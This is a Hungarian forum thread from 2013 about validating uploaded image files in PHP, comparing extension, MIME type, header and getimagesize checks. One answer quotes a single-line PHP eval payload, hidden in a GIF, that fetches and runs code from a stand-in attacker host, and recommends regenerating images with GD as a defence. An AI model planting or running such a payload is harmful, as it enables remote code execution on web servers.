Kezdőoldal » Számítástechnika » Programozás » Hogyan lehet ellenőrizni...

Vid82 kérdése:

Hogyan lehet ellenőrizni php-val hogy egy feltöltendő képfájl érvényes e?

Figyelt kérdés

Most itt nem a kiterjesztések ellenőrzésére vagyok kíváncsi (*.jpg,*.gif ect.) hanem ha pl átnevezek egy *.exe fájlt *.jpg-re.

Gondolom valahogyan a fájl header-jét kéne ellenőrizni.

Mivel szokták ezt megoldani?



2013. okt. 26. 21:37
 1/8 anonim ***** válasza:

Ha átnevez valaki egy exe-t jpg-re akkor azzal kb semmit nem ér, mert a vissza nevezés nélkül amúgy sem tudja használni.


Valamint, mint azt már kifejtettem egy kérdéssel korábban, a MIME típus ellenőrzés még kevésbé használható, mint a kiterjesztés ellenőrzés, ezt ugyanis még könnyebb átverni és nagyobb veszélyt hordoz. (Pl php feltöltést amit szépen a szerver le is tud futtatni.)


A legjobb mind a kettőnek a csekkolása, de ez is ugyan úgy átverhető könnyedén.

2013. okt. 26. 21:44
Hasznos számodra ez a válasz?
 2/8 A kérdező kommentje:

Én pusztán csak a felhasználó figyelmetlenségét nézem, ezt szeretném kiküszöbölni.

A kezdő hackereket ezzel már el lehet riasztani, aki meg tovább megy az úgyis többnyire talál valami kiskaput.

2013. okt. 26. 21:56
 3/8 anonim ***** válasza:
Egy mime type hamisítás annyira nevetségesen könnyű, hogy ezzel senkit nem riasztanál el. :)
2013. okt. 26. 22:00
Hasznos számodra ez a válasz?
 4/8 A kérdező kommentje:
Ahogy így olvasom a php.net-en ez nem egy elavult funkció?
2013. okt. 26. 22:04
 5/8 anonim ***** válasza:
Minden képtípusnak megvan a specifikus szerkezete, ami egy fejléccel kezdődik. Ha pl. átnevezel egy jpg-t gifre, és megnyitod Irfanview-ban, akkor ki fogja írni, hogy ez egy jpg, csak gifnek hívják, átnevezzük? Tehát az a megoldás, hogy utánakeresel a neten az engedélyezett képtípusok specifikációjának, majd beolvasod a feltöltött kép első néhány tucat byte-ját, hogy megfelel-e ennek a specifikációnak. Nem lesz két perc, viszont korrektül megoldja a problémádat. Ha jól megcsinálod, írhatsz belőle egy új PHP függvényt, aminek a fejlesztőcsapat bizonyára örülni fog, hiszen ez egy közösség által fejlesztett nyílt forráskódú szoftver, és örömmel be is építik majd a következő kiadásba.
2013. okt. 27. 07:02
Hasznos számodra ez a válasz?
 6/8 anonim ***** válasza:
Egyrészt ilyen ellenőrzés már van, másrészt pont ezt halál egyszerű át is vágni, ha a fájl elejére bemásolod egy érvényes kép kódját.
2013. okt. 27. 14:05
Hasznos számodra ez a válasz?
 7/8 anonim ***** válasza:

Kérdező:


$_FILES['kep']['type'] - ez tárolja a mime típust.

2013. okt. 27. 20:40
Hasznos számodra ez a válasz?
 8/8 2xSü ***** válasza:

A getimagesize függvény még szofisztikáltabb ebből a szempontból, ami szintén visszaadja a mime típust és őt már nem annyira könnyű átverni:


$size=getimagesize($filename);

$mime=$size['mime'];


Viszont ezzel is lehet kártékony dolgokat átvinni. Meg lehet úgy preparálni egy gif fájlt, hogy annak az adatfájljában mondjuk van egy ilyen részlet: <? eval(file_get_contents('hacker.com/myhack.php')) ?>

Ezt egy rossz include használattal nagyon csúnyán ki lehet használni.


Szóval az egyik legjobb megoldás ebben az esetben, ha újragenerálod a képet a GD segítségével.

2013. okt. 28. 16:57
Hasznos számodra ez a válasz?

Kapcsolódó kérdések:





Minden jog fenntartva © 2024, www.gyakorikerdesek.hu
GYIK | Szabályzat | Jogi nyilatkozat | Adatvédelem | Cookie beállítások | WebMinute Kft. | Facebook | Kapcsolat: info(kukac)gyakorikerdesek.hu

A weboldalon megjelenő anyagok nem minősülnek szerkesztői tartalomnak, előzetes ellenőrzésen nem esnek át, az üzemeltető véleményét nem tükrözik.
Ha kifogással szeretne élni valamely tartalommal kapcsolatban, kérjük jelezze e-mailes elérhetőségünkön!